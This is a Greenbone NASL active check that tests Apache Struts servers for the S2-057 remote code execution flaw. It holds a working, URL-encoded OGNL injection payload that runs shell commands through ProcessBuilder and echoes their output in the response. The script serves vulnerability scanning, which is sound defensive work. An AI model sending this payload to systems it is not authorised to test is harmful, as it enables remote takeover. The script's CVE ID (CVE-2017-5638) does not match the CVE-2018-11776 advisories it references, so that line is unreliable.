Apache Struts Security Update (S2-057) - Active Check

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141398");
  script_version("2024-01-30T14:37:03+0000");
  script_tag(name:"last_modification", value:"2024-01-30 14:37:03 +0000 (Tue, 30 Jan 2024)");
  script_tag(name:"creation_date", value:"2018-08-27 13:07:39 +0700 (Mon, 27 Aug 2018)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-02-24 12:15:00 +0000 (Wed, 24 Feb 2021)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2017-5638");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Apache Struts Security Update (S2-057) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "gb_vmware_vcenter_server_http_detect.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("www/action_jsp_do");

  script_tag(name:"summary", value:"Apache Struts is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw exists due to errors in conditions when namespace
  value isn't set for a result defined in underlying configurations and in same time, its upper
  action(s) configurations have no or wildcard namespace. Same possibility when using url tag which
  doesn't have value and action set and in same time, its upper action(s) configurations have no or
  wildcard namespace.");

  script_tag(name:"affected", value:"Apache Struts 2.3 through 2.3.34 and 2.5 through 2.5.16.");

  script_tag(name:"solution", value:"Update to version 2.3.35, 2.5.17 or later.");

  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-057");
  script_xref(name:"URL", value:"https://semmle.com/news/apache-struts-CVE-2018-11776");
  script_xref(name:"URL", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776");
  script_xref(name:"Advisory-ID", value:"S2-057");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port(default: 8080);
host = http_host_name(dont_add_port: TRUE);

urls = make_list();

foreach ext (make_list("action", "do", "jsp")) {
  exts = http_get_kb_file_extensions(port: port, host: host, ext: ext);
  if (exts && is_array(exts)) {
    urls = make_list(urls, exts);
  }
}

if (get_kb_item("vmware/vcenter/server/http/detected"))
  urls = make_list_unique("/statsreport/", urls);

x++;
cmds = exploit_commands();

foreach url (urls) {
  path = eregmatch(pattern: "(.*/)([^.]+\.(action|do|jsp))", string: url);
  if (isnull(path[2]))
    continue;

  x++;
  action = path[2];
  dir = path[1];

  foreach cmd (keys(cmds)) {
    url_check = dir + "%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29." +
                      "%28%23cmd%3D%27" + cmds[cmd] + "%27%29.%28%23iswin%3D%28%40" +
                      "java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27" +
                      "win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B" +
                      "%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder" +
                      "%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start" +
                      "%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse" +
                      "%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy" +
                      "%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/" + action;

    if (http_vuln_check(port: port, url: url_check, pattern: cmd, check_header: TRUE)) {
      report = http_report_vuln_url(port: port, url: url_check);
      security_message(port: port, data: report);
      exit(0);
    }
  }

  if (x > 25) # nb: No need to continue, the system is very unlikely affected...
    break;
}

exit(0);